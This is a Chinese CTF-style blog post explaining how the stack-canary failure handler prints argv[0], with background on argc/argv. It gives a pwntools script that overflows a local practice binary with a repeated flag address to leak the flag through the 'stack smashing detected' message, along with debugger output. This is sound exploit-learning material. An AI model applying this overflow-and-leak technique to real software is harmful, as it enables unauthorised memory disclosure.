• 初见_stack_chk_fail的调试


    0x00:函数原理源码

    在程序添加了canary保护后,如果我们读取的bof覆盖了对应的值时,程序就会报错,我们可以利用报错信息。

    程序在启动canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向程序名。

    void __attribute__ ((noreturn)) __stack_chk_fail (void)
    {
      __fortify_fail ("stack smashing detected");
    }
    void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
    {
      /* The loop is added only to keep gcc happy.  */
      while (1)
        __libc_message (2, "*** %s ***: %s terminated
    ",
                        msg, __libc_argv[0] ?: "<unknown>");//这里简单理解成打印出报错信息即可,也就是可     以泄露
    }
    

    0x01:命令行参数

    main(int argc,char *argv[ ])

    1.argc为整数

    2.argv为指针的指针(可理解为:char **argv or: char *argv[] or: char argv[][] ,argv是一个指针数组)

     注:main()括号内是固定的写法。

    3.下面给出一个例子来理解这两个参数的用法:

     假设程序的名称为prog,

    当只输入prog,则由操作系统传来的参数为:

    argc=1,表示只有一程序名称。

    argc只有一个元素,argv[0]指向输入的程序路径及名称:./prog

    当输入prog para_1,有一个参数,则由操作系统传来的参数为:

    argc=2,表示除了程序名外还有一个参数。

    argv[0]指向输入的程序路径及名称。

    argv[1]指向参数para_1字符串。

    当输入prog para_1 para_2 有2个参数,则由操作系统传来的参数为:

    argc=3,表示除了程序名外还有2个参数。

    argv[0]指向输入的程序路径及名称。

    argv[1]指向参数para_1字符串。

    argv[2]指向参数para_2字符串。

    4.void main( int argc, char *argv[] )

    char *argv[] : argv 是一个指针数组,他的元素个数是argc,存放的是指向每一个参数的指针

        chen@ubuntu:~$ ./ex0 "hello"
    

    就命令行参数而言,ex0是程序名第一个参数,hello是命令行的第二个参数,都处存在数组中

    gcc --args ./ex0 "hello" //args 其实就是把后面的参数当成命令行参数,存在栈上
                              //其实是下图的argv[0]与argv[1],其实是存储在stack上
    

    tel  //栈回溯,有点像解引用
    p system //之类的是打印出符号的地址
    

    0x03:泄露flag

    正常情况下,p __libc_argv应该打印出栈地址,但不出来我就stack 100找到了

    接下来就是修改栈指针指向flag,之后再栈溢出触发报错

    就泄露夺得自己写的flag

    0x04:脚本层面

    from pwn import *
    
    #p = gdb.debug(args=['./ex0'],gdbscript='r')
    
    p=process('./ex0')
    
    
    
    #context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    
    
    
    context.log_level='debug'
    
    flag = 0x0804A060
    
    payload = p32(0x0804A060)*0x80
    
    
    
    gdb.attach(proc.pidof(p)[0],gdbscript='b *0x804853d')
    
    
    
    p.sendline(payload)
    
    pause()
    
    p.recvuntil("}") //大部分flag以}结尾,当然这样写p.recvall()或p.recvline()都可以
    
    

    细节说明:此题是想在执行python的那个界面看到flag,所以新打开的界面关了,在空格即可

    [+] Starting local process './ex0': pid 3095
    [DEBUG] Wrote gdb script to '/tmp/pwnseNWO4.gdb'
        file "/home/chen/ex0"
        b *0x804853d
    [*] running in new terminal: /usr/bin/gdb -q  "/home/chen/ex0" 3095 -x "/tmp/pwnseNWO4.gdb"
    [DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q  "/home/chen/ex0" 3095 -x "/tmp/pwnseNWO4.gdb"']
    [+] Waiting for debugger: Done
    [DEBUG] Sent 0x201 bytes:
        00000000  60 a0 04 08  60 a0 04 08  60 a0 04 08  60 a0 04 08  │`···│`···│`···│`···│
        *
        00000200  0a                                                  │·│
        00000201
    [*] Paused (press any to continue)
    

    此处即可在关掉调试界面空格

    [*] Process './ex0' stopped with exit code -6 (SIGABRT) (pid 3095)
    [DEBUG] Received 0x38 bytes:
        '*** stack smashing detected ***: {we_ha_we}
    '
        ' terminated
    '
    
  • 相关阅读:
    intel 蓝牙驱动安装时报错
    H310C,B365,M.2 NVME SSD,USB3.0,安装 WIN7 64 位
    C# .NET 判断输入的字符串是否只包含数字和英文字母
    squid http,https, 代理,默认端口3128
    C# .net mvc web api 返回 json 内容,过滤值为null的属性
    centos7安装python-3.5
    systemctl命令完全指南
    Centos7中systemctl命令详解
    Python if 和 for 的多种写法
    CentOS 7.0,启用iptables防火墙
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/12610567.html
Copyright © 2020-2023  润新知